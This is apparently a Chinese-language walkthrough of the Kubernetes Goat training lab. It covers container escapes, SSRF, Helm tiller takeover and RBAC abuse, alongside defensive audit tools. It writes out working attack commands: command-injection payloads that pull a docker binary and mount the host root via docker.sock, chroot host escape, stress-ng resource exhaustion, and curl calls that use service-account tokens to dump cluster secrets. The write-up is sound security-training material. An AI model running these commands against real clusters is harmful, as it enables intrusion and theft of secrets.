练习地址

https://katacoda.com/madhuakula/scenarios/kubernetes-goat官方提供了在线环境和WriteUp,简直太棒了!或者自己本地跑也可以。

靶场架构

K8S常见漏洞学习

敏感信息泄露

CI/CD的意思就是DevOps中的持续集成/持续开发,比如Jenkins、Gitlab、阿里云的云效等平台。

这里存在git泄露

git泄露除了能拿到源码,还能拿到git记录。提示存储了环境变量,ak可能在里面。拿到flag

另外一种方法是使用数据分析工具truffleHog

pip install truffleHog

DIND (docker-in-docker) exploitation

-docker逃逸

参考https://cloud.tencent.com/developer/article/1676154

挂载docker.sock导致容器逃逸https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-docker-sock

Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信——查询信息或下发命令。如果在攻击者可控的容器内挂载了该套接字文件(/var/run/docker.sock),可通过Docker Socket与Docker守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部,完成简单逃逸。

老CTF了,命令注入。

通过信息收集发现本地挂载了docker.sock

exploit

靶场里没docker,需要下载一个二进制包。

;wget https:
//download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz
;tar -xvzf /tmp/docker-
19.03
.
9.tgz
-C /tmp/
;
/tmp/
docker/docker -H unix:
///custom/docker/docker.sock ps
;
/tmp/
docker/docker -H unix:
///custom/docker/docker.sock images

这里无法交互式

交互式的情况下利用步骤

docker run -itd -v /
var
/run/docker.sock:
/var/
run/docker.sock ubuntu
先将源替换为中科大源
sed -i 
's/archive.ubuntu.com/mirrors.ustc.edu.cn/g'
/etc/apt/sources.list
apt update&& apt install -y wget
然后下载编译好的docker 客户端
wget https:
//download.docker.com/linux/static/stable/x86_64/docker-17.03.0-ce.tgz
tar xf ./docker-
17.03
.
0
-ce.tgz
cd /docker
./docker run -it -v /:
/host --privileged --name=sock-test ubuntu /
bin/bash
这里也可反弹shell

在线工具https://redtools.redteaming.net/

SSRF in K8S world

通过ssrf获得元数据进行深入利用。

pod部署的时候5000端口常用来做转发,也可以扫描其他端口,寻找敏感信息。

flag在http://metadata-db/latest/secrets/kubernetes-goat

Container escape to access the host system

场景用户把物理机的路径挂载到了容器内。

将这个目录设置为root目录就能逃逸。chroot host-system/ bash

env拿到flag

Docker CIS Benchmarks analysis安全检查

来源 https://www.jianshu.com/p/102e524d816bdocker-bench用于检查有关在生产中部署Docker容器的安全问题。docker-bench当前支持对多个版本的Docker(1.13和17.06)进行测试,并且将基于主机上运行的Docker版本确定要运行的测试集,同时也可以使用--version命令行标志手动指定要运行测试的版本。

详情见原文https://madhuakula.com/kubernetes-goat/scenarios/scenario-5.html#docker-cis-benchmarks-analysis

Kubernetes CIS Benchmarks analysis

https://madhuakula.com/kubernetes-goat/scenarios/scenario-6.html

Docker Registry API未授权访问

容器注册表是推送所有容器镜像的地方。大多数情况下,每个组织单位都有自己的私有注册表。有时会被用户配置成public。另一方面,假设开发人员将他们的所有敏感信息都存储在容器映像中。让我们看看我们能在这里找到什么。

https://2886795340-1235-simba10.environments.katacoda.com/madhuakula/k8s-goat-users-repo/manifests/lates

Docker Remote API未授权访问

https://askding.github.io/Kali/Exploit/Docker.html

NodePort 服务

暴露https://madhuakula.com/kubernetes-goat/scenarios/scenario-8.html

如果任何用户使用 
NodePort
暴露了 
Kubernetes
集群中的任何服务,这意味着运行 
Kubernetes
集群的节点没有启用任何防火墙。我们能看到一些未经身份验证和未经授权的服务。
要开始使用该场景,请运行以下命令并查找 
Kubernetes
节点中的开放端口
kubectl 
get
 nodes -o wide
当 Kubernetes 创建一个 NodePort 服务时,它会从定义 Kubernetes 集群的标志中指定的范围内分配一个端口。(默认情况下,这些端口范围为 30000-32767。)

用masscan扫描这些ip的端口即可, 30000-3276

Helm v2 tiller to PwN the cluster


Helm
是 
Kubernetes
的包管理器。这就像 
Ubuntu
的 apt-
get
。在这种情况下,我们将看到旧版本的 helm(版本 
2
)、tiller 服务 RBAC 默认设置以获取对完整集群的访问权限。

要开始使用该场景,请运行以下命令

kubectl run --rm --restart=
Never
-it --image=madhuakula/k8s-goat-helm-tiller -- bash
  • 默认情况下,helm 2 的部署完成后,用户具有完整集群管理员权限的 RBAC
  • 所以默认安装在 kube-system 命名空间中,服务名称为 Tiller-deploy,端口 44134 暴露在 0.0.0.0。所以我们可以通过运行 telnet 命令来验证。

现在,我们可以连接到tiller服务端口。我们可以使用 helm 二进制文件来执行操作并与tiller服务建立连接。

helm --host tiller-deploy.kube-system:
44134
 version

然后我们可以创建自己的 helm chart 来授予默认服务帐户拥有完整的集群管理员访问权限,因为默认情况下,当前 pod 部署在具有默认服务帐户的默认命名空间中。

helm --host tiller-deploy.kube-system:
44134
 install --name pwnchart /pwnchart

现在 pwchart 部署成功,它已授予所有默认服务帐户拥有集群管理员访问权限。因此,让我们尝试获取 kube-system namespace中的secrets。

kubectl 
get
 secrets -n kube-system

这种情况会改变tiller部署的方式,有时,管理员将tiller部署到具有特定权限的特定命名空间。同样从 Helm 3 开始,没有tiller服务来缓解此类漏洞

Analysing crypto miner container

我的理解是分析容器中有没有挖矿脚本。https://madhuakula.com/kubernetes-goat/scenarios/scenario-10.html#analysing-crypto-miner-container

Kubernetes Namespaces bypass

默认情况下,k8s内部的namespace可以相互访问,正常步骤扫描渗透即可。admin/admin

信息收集

CDK一把梭。

资源DOS攻击

Kubernete smanifests中没有资源规范,也没有为容器应用限制其范围。作为攻击者,我们可以消耗 pod/deployment 运行的所有资源,并使其他资源匮乏,并导致环境发生 DoS。

使用压测神器stress-ng 进行攻击。

stress-ng --vm 
2
--vm-bytes 
2G
--timeout 
30s

然后内存爆炸

想起来以前打awd想办法让自己机器关机的时候。。

Hacker Container preview

hacker-container是一个辅助渗透的容器,里面有一些工具。

kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh

Hidden in layers

分析正在运行的容器,寻找敏感信息。
kubectl 
get
 jobs
docker inspect madhuakula/k8s-goat-hidden-
in
-layers

在没有dockerfile的情况下,分析容器是如何构建的。

Method 1 (docker history)

docker history --no-trunc madhuakula/k8s-goat-hidden-in-layers

Method 2 (generates dockerfile from image)

alias
 dfimage=
"docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=
1.36
 madhuakula/k8s-goat-hidden-
in
-layers

Method 3 (using dive)

https://madhuakula.com/kubernetes-goat/scenarios/scenario-15.html#method-2-generates-dockerfile-from-image

RBAC 最低权限配置错误

我们经常看到,开发人员和 DevOps 团队喜欢设置高权限。在这种情况下,您可以利用绑定到 pod 的 serviceaccount 来提供 webhookapikey 访问,攻击者可以获得对其他机密和资源的控制。访问 vaultapikey secret flag。

由于 Kubernetes 将所有secret、令牌和服务帐户信息存储在默认位置,因此可以试试查找有用信息。

现在我们可以使用这些信息来查询并与具有令牌可用权限和特权的 Kubernetes API 服务绘画

  • 先指向内部 API 服务器主机名
export
 APISERVER=https:
//${KUBERNETES_SERVICE_HOST}
  • set ServiceAccount token
export
 SERVICEACCOUNT=
/var/
run/secrets/kubernetes.io/serviceaccount
  • 读取 pods 命名空间并将其设置为变量。
export
 NAMESPACE=$(cat ${SERVICEACCOUNT}/
namespace
)
  • read the ServiceAccount bearer token
export
 TOKEN=$(cat ${SERVICEACCOUNT}/token)
  • 在 CURL 请求中查询时指向要使用的 CACERT 路径
export
 CACERT=${SERVICEACCOUNT}/ca.crt
  • 现在我们可以使用令牌和构造的查询来探索 Kubernetes API
curl --cacert ${CACERT} --header 
"Authorization: Bearer ${TOKEN}"
-X GET ${APISERVER}/api

  • 查询默认命名空间中的可用secret
curl --cacert ${CACERT} --header 
"Authorization: Bearer ${TOKEN}"
-X GET ${APISERVER}/api/v1/secrets

  • 查询特定于命名空间的secret
curl --cacert ${CACERT} --header 
"Authorization: Bearer ${TOKEN}"
-X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets
  • 查询特定命名空间中的 pod
curl --cacert ${CACERT} --header 
"Authorization: Bearer ${TOKEN}"
-X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/pods

API可以增删改查,详情请翻文档。
  • Get the k8svaulapikey
curl --cacert ${CACERT} --header 
"Authorization: Bearer ${TOKEN}"
-X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep k8svaultapikey
echo 
"azhzLWdvYXQtODUwNTc4NDZhODA0NmEyNWIzNWYzOGYzYTI2NDlkY2U="
| base64 -d

KubeAudit - Audit Kubernetes Clusters

类似于CDK,自动化审计工具https://github.com/Shopify/kubeaudit

Sysdig Falco - Runtime Security Monitoring & Detection

此场景为部署容器和kubernetes资源的运行时安全监控和检测。

https://madhuakula.com/kubernetes-goat/scenarios/scenario-18.html

Popeye - A Kubernetes Cluster Sanitizer

该场景主要是通过扫描实时Kubernetes集群来对Kubernetes集群进行审计,并报告部署的资源和配置的潜在问题。
kubectl run -n kube-system --serviceaccount=tiller --rm --restart=
Never
-it --image=madhuakula/hacker-container -- bash

https://madhuakula.com/kubernetes-goat/scenarios/scenario-19.html#popeye---a-kubernetes-cluster-sanitizer

Secure network boundaries using NSP

这个场景是为 kubernetes 资源部署一个简单的网络安全策略来创建安全边界。

使用下面这个项目来对k8s设计出一套网络隔离方案。https://github.com/ahmetb/kubernetes-network-policy-recipes细节请看https://madhuakula.com/kubernetes-goat/scenarios/scenario-20.html

参考

https://madhuakula.com/kubernetes-goat/teardown.htmlhttps://github.com/ahmetb/kubernetes-network-policy-recipeshttps://www.google.com/